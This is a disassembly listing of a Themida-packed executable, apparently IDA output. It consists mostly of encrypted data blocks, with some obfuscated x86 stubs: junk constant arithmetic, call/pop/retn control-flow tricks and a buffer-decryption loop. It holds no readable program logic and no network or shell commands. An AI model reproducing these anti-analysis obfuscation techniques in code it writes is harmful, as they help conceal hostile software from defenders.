		dd 875h, 0AC67BC98h, 9EEB4CF2h,	0B2F232C2h, 0E6833396h
		dd 620861FFh, 0E09B3CEEh, 46D12A07h, 0E09AB31Ah, 823CBD07h
		dd 0E8B65EB3h, 0A23A7242h, 0E121406Eh, 0E09262C5h, 0B9E52C07h
		dd 44C4052Eh, 0E092C528h, 2992EB07h, 0DA283h, 0E0330000h
		dd 0FFE68379h, 0FBB0A07Fh, 0F339FFFFh, 1E3ACA96h, 7E09C3Ch
		dd 5A86116Ah, 7E09AF3h,	0BBC27CFDh, 406EA383h, 49521h
		dd 7591D100h, 7E09312h,	8A41E740h, 3C91727Bh, 0C324CAD4h
		dd 0EE0A9AC6h, 7E089ECh, 0E04481DAh, 0B1A5BA58h, 3767AAFFh
		dd 7CDD83ACh, 0A7C3530Dh, 0B61FD9D5h, 41DA801h,	2F4BDB85h
		dd 0B1A93DA5h, 0E69AC41h, 1F388FF2h, 0F35CB5AEh, 46D63F68h
		dd 0F47F1FF1h, 0BC1F3BCBh, 0EAAE1F38h, 0FE53EB91h, 0A6538915h
		dd 0EA73316Dh, 5537BB80h, 0B117B1Ah, 66B00000h,	0BD550238h
		dd 17FEABE1h, 6BA45187h, 0C150FD33h, 0BE73A7DDh, 2C623CD5h
		dd 0D309957Fh, 7EB4EA26h, 265C42D1h, 80E3FF57h,	0A607E91Fh
		dd 67BC8940h, 3C65F0AEh, 742AE996h, 1E808FE4h, 0BDCCE578h
		dd 0E5FDA292h, 2891843Dh, 0E035898h, 36DC0590h,	0E1AE38C2h
		dd 0C555AE07h, 0C8FEA070h, 1EA9F51Bh, 0E14D8FF2h, 5D238A07h
		dd 503907E1h, 32648010h, 200FDB8Eh, 0A9103CC7h,	0B3FFE76Eh
		dd 39717832h, 0D738757Ah, 18h, 0CA96F368h, 712DE53Ah, 0CD1733CBh
		dd 0D907E090h, 1856F580h, 0EF000000h, 3ACA96F3h, 0E9742AE5h
		dd 66821AC0h, 7E097A8h,	900E0196h, 0A72D9C27h, 0FF74326Ch
		dd 4C998335h, 0A497211h, 9E780000h, 0F51DCA00h,	4FC673A9h
		dd 0A36C194Fh, 0F918C5FBh, 863B6FA5h, 0F42A749Dh, 9BD1CD47h
		dd 467C22EEh, 0EE247A99h, 48ABC71Fh, 6E07E91Fh,	67BC5108h
		dd 2B65F0AEh, 70B4F771h, 0B55BC409h, 0E8043554h, 0FFE70285h
		dd 59E952ABh, 0A97D1004h, 0B62AEC74h, 0D76F157Eh, 0E0C5D9BBh
		dd 0AF84AE07h, 514DC7E6h, 4A32F6D7h, 77025BA4h,	679D0112h
		dd 2C670DF3h, 0F46C212Fh, 342C5DBEh, 2ACA88A4h,	9FF82892h
		dd 3B63AF14h, 14E281ABh, 57410325h, 771273B1h, 3A43A6C2h
		dd 0DC712732h, 0B4DD6836h, 3652E24Bh, 2F2C6C04h, 94E979D2h
		dd 0E87B217Dh, 0D2CC4398h, 4781E47h, 2098099Dh,	656C26A7h
		dd 5926112Dh, 10ECBh, 96F35C00h, 3C1E3ACAh, 6A07E09Ah
		dd 0E92C8111h, 5B012AB5h, 0EEB063C8h, 96080BB8h, 47AAC606h
		dd 907E099h, 0F952930Bh, 0AE94C053h, 782F2BD3h,	1378039Bh
		dd 0CF139E00h, 1FF0D48Eh, 447D167Fh, 316DA68Ah,	660477A1h
		dd 4DFAF947h, 7CD169A7h, 0B6630995h, 8AB6415Dh,	47E32EA4h
		dd 8F5E1841h, 33C3DB3Ah, 0E0CEB417h, 0E389E207h, 8BC1DD36h
		dd 0E62D35DEh, 47C82DB8h, 0C649EE57h, 0CBE46FD8h, 0F30F9FC1h
		dd 7E0CEB0h, 0A6073D96h, 0D1ED7DE3h, 0FDAF28Bh,	6ED35EB7h
		dd 16C3F9A5h, 0EA16A1FDh, 0FFE6F29Fh, 82510B34h, 80493D58h
		dd 0F670811Ch, 7AADC86Ah, 7B28CE98h, 5CD00698h,	743AC99Bh
		dd 4E84DCB1h, 0A12C72A1h, 825FC275h, 0A8E838FAh, 0FA13298Ch
		dd 4DC257F1h, 349DC651h, 6F530D8Eh, 156AFAA4h
		dd 0BCFAA0FEh, 0B35E040Fh, 0D42660EBh, 850B1797h, 28DF65Fh
		dd 30C0A0E9h, 0F49CFA14h, 0BF4FA8F9h, 4DF3AB6Ah, 32280Fh
		dd 0F3C10000h, 1E3ACA96h, 7E090D4h, 0D33652D2h,	107E090h
		dd 85AF3FA8h, 0F1E1DF9Eh, 0C9F45A9h, 0FD336BA7h, 22AFBE7Bh
		dd 4C68F86Ah, 7E0A8F1h,	0B514B60Fh, 0ED277CBCh,	91FD26B1h
		dd 0FFE6832Eh, 0A855FB54h, 9CFD336Bh, 0C7E373EDh, 7E0ADB5h
		dd 0D5C94CE1h, 729CDC6Ch, 987E5C3Bh, 9946ECECh,	0F64F1677h
		dd 1488C092h, 91FAA46Fh, 3866AC01h, 0D8F484ADh,	7E18275h
		dd 5E9C429Bh, 0FC185FB1h, 7E18299h, 0C2DE6EC7h,	7E1825Fh
		dd 33C32C85h, 0EBC7A809h, 0DD83D32Fh, 858314Ah,	0FCD25C78h
		dd 77D00FDAh, 0C59C0ECh, 1A6FFFE7h, 689AB646h, 6E07E11Dh
		dd 0F55B8515h, 0B03138CEh, 76D9F585h, 9C07E0A9h, 0DE0A9D43h
		dd 7E0A977h, 3F460081h,	406EB507h, 526EAEEEh, 7E09CEFh
		dd 0ED50BC15h, 1307E09Ch, 9FFF15BAh, 6445EB14h,	24h, 4856BF14h
		dd 67BCEBA2h, 0E94AF0AEh, 1430C0A0h, 7E090CAh, 9AEF7FD8h
		dd 759E2975h, 389D3CCFh, 36000000h, 0FD607CBCh,	0D4FFE682h
		dd 0E68355B8h, 0E1227BFFh, 881E288h, 5E88C858h,	0F0887C5h
		dd 0B2EC2738h, 0EF95FE27h, 0E145BD7Bh, 0FE1A5A07h, 7E13D9Bh
		dd 81CA70C9h, 0A72E9D28h, 174326Ch, 42998334h, 71D6807h
		dd 72A40000h, 0C949F62Ch, 23F29FD5h, 7798457Bh,	0CD44F127h
		dd 0B2679BD1h, 205648C9h, 0C7FDA173h, 72A8F61Ah, 1A504EC5h
		dd 74D7F34Bh, 0A207E922h, 637B853Ch, 90D0B9h, 8341A4C0h
		dd 0A0BFFE6h, 9FE00994h, 83A0031Fh, 6DC6FFE6h, 86C65E04h
		dd 14BAE431h, 0E0899EA0h, 0AEEB4407h, 2763274Ah, 0C5435CAh
		dd 0A7FC3C7Ch, 7EA7326Ch, 0A35FAF12h, 76A86C5h,	2DC5A35Fh
		dd 943A93D4h, 9D685E20h, 0A02B84CDh, 0CE5E0287h, 0C3DB398Eh
		dd 9224A91Dh, 0EE43CA27h, 88D17727h, 355F9F2Fh,	0AEF4D3B1h
		dd 0AF5C0293h, 55AA3A64h, 3B66E0BEh, 0BE677E74h, 2AD715BBh
		dd 88F7B5E9h, 0BB5C3F00h, 65DE180h, 0B2640000h,	909B6ECh
		dd 63B25F95h, 0B758053Bh, 0D04B1E7h, 72275B91h,	0E0168889h
		dd 87BDE133h, 326836DAh, 0DA108E85h, 3497B30Bh,	6207E923h
		dd 6CA745FCh, 341D7432h, 0F32E9983h, 61E54h, 2B73A300h
		dd 0D4CA48F5h, 7A24F19Eh, 26789744h, 0D0CE43F0h, 0CAB1669Ah
		dd 74215747h, 1BC8FEA0h, 0C673A9F5h, 4C1B514Dh,	2375D8F4h
		dd 359B07E9h, 216CA77Eh, 9668E625h, 0F681EA6Dh,	0E0BE51A6h
		dd 25862C55h, 2C6CFC64h, 0BA603ED7h, 0E9FD3946h, 50BF1407h
		dd 65FA84Eh, 0AAF42176h, 1250F61Fh, 0F888D8B1h,	0E32962DCh
		dd 9C27800Fh, 0DEC40970h, 0D892130Fh, 6CCC99D1h, 0BE3748h
		dd 92E70000h, 3095207Eh, 0B056BFDFh, 0BA647BF9h, 0AC0191CFh
		dd 85AE3965h, 292B47DFh, 8D07E08Ah, 0B65F7323h,	0D43DD7E9h
		dd 0E3E63397h, 0A1E8D6E7h, 38DA2FBFh, 0CB2DB66h, 0FF865874h
		dd 338CD0DDh, 110358A8h, 386E78Dh, 718DCD5Dh, 0CEEDFF0Eh
		dd 9D35DB34h, 0EBA2F781h, 292EBD6h, 0F61265ADh,	0C8E16293h
		dd 59FF68C1h, 0F7A76CC1h, 0A0FE1267h, 40FBCFAh,	0EB8FDC9Ah
		dd 518C5179h, 522B2h, 27779F00h, 0D0CE44F1h, 7628ED9Ah
		dd 227C9340h, 0CCD23FECh, 0C6AD6296h, 701D534Bh, 17C4FAA4h
		dd 0C26FA5F9h, 48174D51h, 2471D4F0h, 399F07E9h,	0A46D82h
		dd 0FB250000h, 0DF1493D1h, 0D68D337Eh, 3ACA96F3h, 0E7722CE5h
		dd 408018BEh, 0EA7529EBh, 0AAF41CC1h, 0DC50F61Fh, 7E919BFh
		dd 1CF94E8Eh, 62CEF782h, 7E918FFh, 0EA27CC25h, 5A0029B4h
		dd 0D328B811h, 7B285E40h, 5549CA98h, 9B6090CAh,	0EBA697A3h
		dd 758E1982h, 0A0BC4C14h, 0FE2CAF6h, 0EF0893ECh, 1A36C69Ah
		dd 17D8E2E8h, 8AD795EEh, 7D91812Bh, 479A342h, 0CE480000h
		dd 25ED9AD0h, 7F964379h, 0D33CE91Fh, 29E895CBh,	560B3F75h
		dd 0C4FAA46Dh, 6BA1FD17h, 164C52BEh, 0BEF4AA69h, 187B97EFh
		dd 3E07E925h, 7DE021D8h, 78FFE683h, 0FFE68311h,	6EFE6227h
		dd 6480F719h, 0FFE68301h, 0E26DD62Fh, 0CCC689A8h, 4CB5AD61h
		dd 45D502D2h, 43E93595h, 0C5828FABh, 0C31C07E9h, 5E40D338h
		dd 810E5FA0h, 62013C91h, 407h, 0C425CBAh, 0B5EBB35Fh, 5B910D08h
		dd 73D61AEh, 0B1E7B75Ah, 32DFC87Dh, 8B89366Ch, 0E030DD13h
		dd 38DB88BEh, 9613066h,	0E9268AEDh, 9B52B807h, 0A7326CA7h
		dd 0D565FB8Eh, 650A9480h, 0B24AF0AEh, 0E09FD896h, 0A1710607h
		dd 0E04972FDh, 0B6D212AAh, 7E09F53h, 0E822881h,	508FB041h
		dd 0F4841AF7h, 8F3598B4h, 25B4F3Bh, 8EF35672h, 0C8214F3Bh
		dd 0DA37E422h, 8C178788h, 156AFA63h, 65F89E00h,	0F127414Ch
		dd 0A967BC3Ah, 9B416AF5h, 0E97925EEh, 0CCFC9BFh, 8225C9E2h
		dd 4F5CD66Dh, 6AFDA348h, 5A900E05h, 40D090F9h, 0E16C8A24h
		dd 54DF3807h, 0E117C128h, 904ACB07h, 5DA397C1h,	0EAFC96E6h
		dd 0FE3C7444h, 39DA406Eh, 8A000000h, 0EECB2E4Ah, 0A0F907E0h
		dd 0FF8A14FBh, 0F37930D6h, 1E3ACA96h, 7E09C50h,	2565F54Eh
		dd 0E09BA609h, 0CD73CC07h, 9BA70E3Ah, 30B107E0h, 0A7376F76h
		dd 26D5406Eh, 66000001h, 0CBAC67BCh, 0E6834CAFh, 0B8217AFFh
		dd 5EC1DD2Dh, 84FFE683h, 6F1CC22Bh, 0A6FFAA4h, 0BC0C9707h
		dd 82FD607Ch, 3FEAFFE6h, 0D91D82A2h, 5DD73071h,	6AF6B1B3h
		dd 6B18BE1Ch, 66BF6A8h,	0E75B910Dh, 0FFE71A5Fh,	209DF023h
		dd 0F0526382h, 58AD3DA6h, 0EA67E1BDh, 0D02C2D31h, 0EF9CDA80h
		dd 0D6EF7A24h, 11DADB3h, 7E0DF1Bh, 57B8EE47h, 5E9E2E32h
		dd 1308D034h, 0C454DE00h, 0E0D745A8h, 6C126B07h, 0DDBA1CF8h
		dd 64D1FB0Fh, 0A947CA2h, 26DC567Fh, 8BD47A42h, 0C44DA232h
		dd 0D7204ADAh, 90A31A34h, 661351F7h, 8435F3ABh,	0C7998533h
		dd 251ED8Ch, 0A6700000h, 0FD15C2F8h, 57BE6BA1h,	0AB641147h
		dd 110BDF3h, 7E33679Dh,	0EC227C95h, 93C9D53Fh, 3E742AE6h
		dd 0E61C8291h, 40A3BF17h, 6607E927h, 6AA74900h,	838EF10Dh
		dd 5BB4FFE6h, 50D62F2h,	0A9D40E99h, 3220EC6Ah, 27650B74h
		dd 0D0334F8Fh, 0F6FFE72Bh, 821CF89Dh, 93E42FDCh, 0E72B1477h
		dd 5FD842FFh, 8FEAA274h, 366CD53Eh, 0D7C7499Eh,	17BDE132h
		dd 0CA96F360h, 0F21C103Ah, 1E5ACA5Fh, 0E3CAA0A4h, 35DB3D87h
		dd 4EB3819Dh, 366007E1h, 4A2E61EBh, 0F0AE6280h,	78DBF787h
		dd 9E07E179h, 0C1569F45h, 97C04B53h, 1077A32Eh,	1A07E179h
		dd 0A0D8DF99h, 87406F85h, 6DC82B47h, 888A07E1h,	21628B16h
		dd 0F74122C8h, 0D2000000h, 0CBAC67BCh, 0E6834CAFh, 0B8217AFFh
		dd 0F0AE6512h, 5D050B60h, 0F681EAB4h, 449427CDh, 8385E804h
		dd 2BABFFE6h, 0E683AC0Fh, 1881DAFFh, 524CC572h,	0EE2277C7h
		dd 0E960AB0h, 49FFE688h, 0F47F1FF4h, 9B7825CBh,	0E7504EC7h
		dd 8F0F04B1h, 0C29EEB04h, 9D301632h, 55E07E0h, 3AAF4B75h
		dd 83932FF2h, 4B3E9FDDh, 8C6FD2EEh, 159507E0h, 0E08C96F9h
		dd 0FA63BC07h, 66AC0191h, 0DE84AD38h, 5EB10646h, 0E68CB540h
		dd 0DD6B3772h, 24B40D0Fh, 0F22042CFh, 600D43ACh, 942FEDB1h
		dd 0B79985E2h, 0E5DD7Ch, 3ADC0000h, 91812E64h, 0EB2AD70Dh
		dd 3FD07DB3h, 957C295Fh, 0EA9FD309h, 588E1001h,	0FF3569ABh
		dd 0AAE0BE52h, 528816FDh, 0AC0F2B83h, 0DA07E929h, 6AA7BD74h
		dd 0C14FA434h, 832952DDh, 0E77B9845h, 0BCE5702Eh, 5B851D53h
		dd 496B0A28h, 0EDB16145h, 6836DF84h, 6CA70BC2h,	0D142A732h
		dd 95207E91h, 524CC76Ch, 0FF359EC7h, 0E575EB9Eh, 0E919A8C9h
		dd 0EA75CE07h, 80108E85h, 0A3BE1640h, 0DF358B01h, 0E92E1073h
		dd 37DD3607h, 0D7C74CF9h, 801EF247h, 0E51B47DAh, 9934E788h
		dd 51C2A660h, 0A96A174Dh, 92565F5h, 24E374A6h, 73FE617Dh
		dd 0CB2424E3h, 0F88B318Ah, 97227C93h, 3E22DC05h, 0E693C9D5h
		dd 47E6712Dh, 1Fh, 40A3BFFFh, 6624E374h, 0BBB0670Dh, 0BC1F3B7Bh
		dd 0EAFFE683h, 82E50191h, 0B0FFE683h, 0A7FAB157h, 3FA42F6Fh
		dd 0DA3FCAD4h, 78DD6836h, 1277029Ch, 0AF149FFFh, 4CB13C62h
		dd 0EB50DBC3h, 84E9742Ah, 5285108Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	0C4Ch
		mov	[esp], edx
		push	6ACDh
		mov	[esp], eax
		push	eax
		mov	eax, 546E5AA1h
		sub	eax, 1B09260Dh
		add	eax, 513420ACh
		add	eax, 190F72DBh
		xor	eax, 49C76085h
		not	eax
		xor	eax, 5E5641B3h
		mov	edx, eax
		pop	eax
		xor	edx, 2EB2BE0h
		sub	edx, 412AA639h
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	ecx
		mov	ecx, 8
		add	ecx, 4F411FE5h
		add	ecx, eax
		sub	ecx, 4F411FE5h
		mov	[ecx], edx
		pop	ecx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		les	ecx, [ecx]
		mov	eax, 802A73Fh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 78h,	0C9h, 29h
		dd 5BA90877h, 22FEAF1Bh, 7BFF1946h, 3749033h, 3A23CA57h
		dd 9F93C46Bh, 540D0826h, 0A9AAFB1Ch, 0D7C9832Ch, 2B07E570h
		dd 2A03CB01h, 69813B50h, 0CF242E47h, 0B5323131h, 4387AB09h
		dd 0B5C19B39h, 29496311h, 0E5BB3953h, 0F8F5B122h, 9218D44h
		dd 0CF1FDF7Fh, 49750328h, 1E8D8D29h, 660802A9h,	0F5C7C781h
		dd 1CD98D89h, 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 0E3DDFC3h, 8E0FF0h, 0C7000000h
		dd 0FA31AD85h, 640C07h,	14E900h, 71620000h, 0AC28D3BFh
		dd 0AFAED0ACh, 0B15F292Fh, 3F03347Bh, 85C710E7h, 7FA2BD9h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_60DCDF
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_60DCDF	proc near		; CODE XREF: Themida_:0060DCD7p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_60DCDF	endp

; ---------------------------------------------------------------------------
		mov	eax, ds:829D9C85h
		imul	esi, ds:45958BAFh, 0Bh
		cli
		pop	es
		push	dword ptr [ebp+7FA3391h]
		push	0
		push	edi
		call	sub_60DD0E
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_60DD0E	proc near		; CODE XREF: Themida_:0060DD06p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_60DD0E	endp

; ---------------------------------------------------------------------------
		dw 57DFh
		dd 0D2E82F48h, 1079958Bh, 95FF07FAh, 7FA1799h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 92C35141h, 0DD32CEE9h
		dd 660FA121h, 0F38BD68Bh, 95FF006Ah, 7FA1019h, 5AEBC08Bh
		dd 0C6BBE407h, 3891B6FFh, 82437AD0h, 8A392AA1h,	0BEE9228Ch
		dd 0EA69C868h, 55512467h, 20E2BF3Ah, 0A8C64A40h, 0CF4256DBh
		dd 8A3E68A4h, 876DFD6Bh, 0C0B275B5h, 9AAB8A7Eh,	0C1493D50h
		dd 728E319Bh, 0BD19B224h, 5A324D2Ah, 25A9519h, 7C34D644h
		dd 47D36C2Eh, 0B4E5E222h, 8D8DD194h, 802AA3Ah, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 2DC35747h, 0AC71B135h
		dd 23E98589h, 8D8907FAh, 7FA1CD9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 9DC35343h, 38B54071h, 29F6F9B4h
		dd 0FA1145BDh, 0AD85C707h, 7007FA31h, 2900006Dh, 0FA269985h
		dd 0D985C707h, 7FA2Bh, 0FF000000h, 0FA0E71B5h, 41958907h
		dd 907FA35h, 0FA202585h, 9995FF07h, 6A07FA17h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 509BC353h, 84EB8166h, 85895EA2h, 7FA1829h, 95FF006Ah
		dd 7FA1019h, 3FEBC08Bh,	7BA155EEh, 0C34E6944h, 0F788E767h
		dd 732C563Dh, 849C1622h, 73854E53h, 0BE3693A5h,	818559Fh
		dd 6FEDEACFh, 6478445Ch, 0C409E118h, 3BFBA081h,	0F4FC21FEh
		dd 0B34C82C4h, 1577A7BBh, 8D581967h, 2AB918Dh, 79BD8B08h
		dd 8907FA2Bh, 0FA1CD98Dh, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 29DE8730h
		dd 0DB93B838h, 9D8BDE13h, 7FA28F5h, 31AD85C7h, 5E0807FAh
		dd 0EE90000h, 0F3000000h, 0E784709Fh, 0B1CAF71Fh, 0E433BDF8h
		dd 8E9E7h, 3CD30000h, 276B84F4h, 85C72276h, 7FA2BD9h, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_60DF3B
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_60DF3B	proc near		; CODE XREF: Themida_:0060DF33p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_60DF3B	endp

; ---------------------------------------------------------------------------
		db 56h
		dd 31F4D7CDh, 0DE7FB5B1h, 0B5FF63B7h, 7FA3391h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 34C35040h, 6B49077Fh
		dd 0E81B426Ah, 0Eh, 69EA73F4h, 0E21CF5E4h, 0F1E7164Fh
		dd 0E956E874h, 8, 38BD47E4h, 0F67A356Ch, 95FF5F5Bh, 7FA1799h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 94C35343h
		dd 0CEB2E370h, 6AC38205h, 1995FF00h, 8B07FA10h,	0A25AEBC0h
		dd 3BA683E6h, 7B7B3E3Bh, 0AB5E9786h, 1916396Eh,	0ED4C0499h
		dd 2BD2E2F1h, 1050777Ch, 0B4EEEE48h, 4BC96407h,	161D8B3Eh
		dd 94D460E5h, 6EB782B1h, 0B742AE4Dh, 3AB0E4AEh,	31EE15CCh
		dd 964EF26Bh, 9A03FE6h,	57994A95h, 45F78052h, 93B99289h
		dd 0C690C5CAh, 64958B36h, 12E867h, 0B3CB0000h, 0B88D8008h
		dd 0A5833B8Eh, 6CA74A23h, 244D3C1Ah, 0DE9h, 245C4F00h
		dd 0EF591D74h, 6A80AFF9h, 315A5F09h, 0FA0CA58Dh, 93C28107h
		dd 0BF000072h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+7FA2151h],	ebx


loc_60E072:				; CODE XREF: Themida_:0060E0F1j
		mov	ecx, [edx+edi]
		mov	si, ax
		sub	ecx, 3A9A3010h
		jnp	loc_60E09C
		jmp	loc_60E09C
; ---------------------------------------------------------------------------
		db 8Bh,	1Dh, 16h
		dd 94D460E5h, 6EB782B1h, 0B742AE4Dh, 3AB0E4AEh
; ---------------------------------------------------------------------------


loc_60E09C:				; CODE XREF: Themida_:0060E07Ej
					; Themida_:0060E084j
		sub	ecx, 60A5A6CFh
		or	[ebp+7FA0E99h],	edx
		sub	ecx, 6BFCC482h
		push	eax
		jnz	loc_60E0B9
		mov	bx, 0C56Bh


loc_60E0B9:				; CODE XREF: Themida_:0060E0AFj
		pop	ebx
		mov	[edx+edi], ecx
		mov	esi, edi
		mov	esi, [ebp+7FA0029h]
		sub	edi, 4
		sub	ax, 5BF8h
		cmp	edi, 0FFFF8E34h
		jnz	loc_60E0EB
		mov	bh, al
		jmp	loc_60E101
; ---------------------------------------------------------------------------
		dd 42570952h, 3C7E1A06h
		db 0F1h, 23h, 0B6h
; ---------------------------------------------------------------------------


loc_60E0EB:				; CODE XREF: Themida_:0060E0D3j
		mov	[ebp+7FA0651h],	eax
		jmp	loc_60E072
; ---------------------------------------------------------------------------
		xor	al, 0FCh
		sbb	[edi+11DDA27Bh], edx
		imul	edx, [edx], 64h


loc_60E101:				; CODE XREF: Themida_:0060E0DBj
		lea	ecx, [ebp+802AD89h]
		push	0
		push	esi
		call	sub_60E112
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_60E112	proc near		; CODE XREF: Themida_:0060E10Ap

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_60E112	endp

; ---------------------------------------------------------------------------
		dw 587Eh
		dd 6C004A02h, 7D858BDDh, 8907FA0Dh, 0FA1CD98Dh,	57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 142DB35Eh, 153D958Bh, 85C707FAh, 7FA31ADh, 5C34h, 20499D8Bh
		dd 85C707FAh, 7FA2BD9h,	0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_60E17F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_60E17F	proc near		; CODE XREF: Themida_:0060E177p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_60E17F	endp

; ---------------------------------------------------------------------------
		db 46h
		dd 56E3FB4h, 0C7D08162h, 0FC173615h, 2EA9B5FFh,	8F0F07FAh
		dd 3, 0FF5FD080h, 0FA179995h, 9E807h, 9ADA0000h, 0B6350049h
		dd 80B748CFh, 6A58C0E0h, 1995FF00h, 8B07FA10h, 0BA6EEBC0h
		dd 80A58E3Ah, 0E998EA40h, 1A6EFA14h, 0E74A6356h, 7CDC3DF5h
		dd 83433136h, 73D6BD6Dh, 5FA3324Ch, 4288EC8Bh, 3733B681h
		dd 51640F48h, 141D9115h, 2608290Eh, 671AD93Ch, 23A9A814h
		dd 961EA16Eh, 9DF891F6h, 0CD3A306h, 0C437CF6Bh,	80D20927h
		dd 0F3467477h, 0B1D146F2h, 6B1FABD5h, 344F7070h, 0C3C54FE7h
		dd 0FC431CA4h, 9991199Eh, 30E90Ch, 0A77B0000h, 4004h, 0Ah dup(0)
		dd 33E90000h, 0DD000005h, 822F6539h, 2BD80E90h,	0D17EB4EAh
		dd 7D2A603Eh, 0A0D40A94h, 910D04EBh, 3866AE5Bh,	0E3BB5502h
		dd 8B1300ADh, 122E8655h, 7E931AFh, 0A7B86FD5h, 42A7326Ch
		dd 199CFCFh, 26581C1h, 30FFE683h, 83086BD7h, 0D52EFFE6h
		dd 0D91822Fh, 0A8F61D82h, 718DCD1Dh, 0FFE6830Eh, 8835DB34h
		dd 3089148Ah, 0BA593DF7h, 0F01AEE4h, 64AC598Fh,	355FAF3Ah
		dd 39474104h, 3AE78DDEh, 0D439C4DAh, 73D8633Bh,	3276019Dh
		dd 0BD8F37F1h, 0B1ED287Dh, 0ECD08A0Bh, 95EA7A24h, 7628E77Bh
		dd 0CE59C2EBh, 14C1FFA5h, 0C4149FFFh, 72FDA16Fh, 329B030Dh
		dd 0D7B2188Ch, 5BE3FFE6h, 5900E06h, 0FBB536DCh,	74E3BCF4h
		dd 735A38h, 0A7EB0000h,	4DA2326Ch, 234CD7C7h, 59BEEA7Dh
		dd 1FFFE683h, 0BD22ADF1h, 70A54A54h, 3753A32Eh,	0FFE683D4h
		dd 0E425A902h, 0D344822Ah, 8EDA1219h, 1783874h,	9000000h
		dd 0A3336BA7h, 82E44763h, 0B912FFE6h, 0F71B8013h, 71B75680h
		dd 0CE0B8FAh, 0E6DA3DA0h, 0A10A63FFh, 405EB116h, 69235CB5h
		dd 0DB118D85h, 937DE52Eh, 0D46CA20Bh, 675A24AAh, 0ED93583Fh
		dd 346AA736h, 0E54864A4h, 0BFFE682h, 9A039B76h,	16FC61F4h
		dd 0B0E1FD88h, 9FFF12F6h, 4757BC69h, 0E0BE57BCh, 0F5AF3055h
		dd 7489A6EEh, 8B4438h, 0A7D50000h, 8519F86Ah, 8376D9F5h
		dd 439CFFE6h, 2BEA4FDAh, 83CD304Ch, 9AF3FFE6h, 0BF77A131h
		dd 0D6E00288h, 1C8519F8h, 3A8AE376h, 0CC722CE5h, 64AD914Bh
		dd 0BA57043Ah, 1EF66CA8h, 638C1780h, 50A6FFAh, 6CA90E99h
		dd 0CD42A732h, 0F92A46D1h, 0B132973Fh, 0D6A8F0F7h, 51463874h
		dd 0D7000000h, 0FD607CBCh, 23FFE682h, 9A7724CAh, 0CC9389F3h
		dd 72EC4C98h, 26ECDBA9h, 86117A02h, 24AFEF21h, 1E59FE0h
		dd 0A9FE8E10h, 4E8C326Ch, 336BA797h, 83167CA8h,	34E0FFE6h
		dd 967ADF6Ah, 30617D08h, 1F90CE76h, 8F265E65h, 1C43874h
		dd 55000000h, 0A5306EA7h, 3BCBD340h, 837CDFFBh,	51AAFFE6h
		dd 5FB318ABh, 0C34FB43Fh, 0CB0C50DBh, 6E976911h, 5945D0B4h
		dd 99C7C223h, 415DB409h, 89E7039Bh, 0B507E09Ah,	2C81D15Ch
		dd 6411B7E7h, 0CB9EFAFh, 0E00C9707h, 7E09A7Bh, 876B2566h
		dd 44DC128Ch, 0D57B23EFh, 9DA2EB28h, 6C46E0A7h,	56A6319Ah
		dd 6597FA16h, 64BD07E1h, 9C0211BEh, 0AC4F511h, 7BB1ED26h
		dd 6F7173ABh, 0D055A40h, 860AEB91h, 9B000001h, 0FD607CBCh
		dd 0EAFFE682h, 53D73394h, 0D66A7B8h, 0B6830667h, 0E6B1379Ah
		dd 9B045DFFh, 0E699EF0Bh, 6CC507E0h, 0F6977CE1h, 0CF56EA13h
		dd 84BA2383h, 207E97ECh, 19C66C95h, 0C919A4FAh,	4FC59D74h
		dd 329BC44Fh, 38D97EA7h, 13C066h, 0C6F7139Eh, 0B3EB280Ch
		dd 8975AD7Dh, 325C406Fh, 882A5CE7h, 3699B50Bh, 5C07E104h
		dd 13F49A03h, 57h, 0C69AF3A4h, 8DCCF636h, 152DD036h, 0E467DB81h
		dd 0D27FE70Dh, 9AC05768h, 0A13DAD0h, 86264D6Ah,	0A76C117Ah
		dd 0D7038EF7h, 7FE67F74h, 42CDD13Eh, 0DB6638DDh, 0BE662049h
		dd 7A49032Ch, 7FBB1E3Ah, 90E97FE6h, 5C0489EAh, 7F2DB0CCh
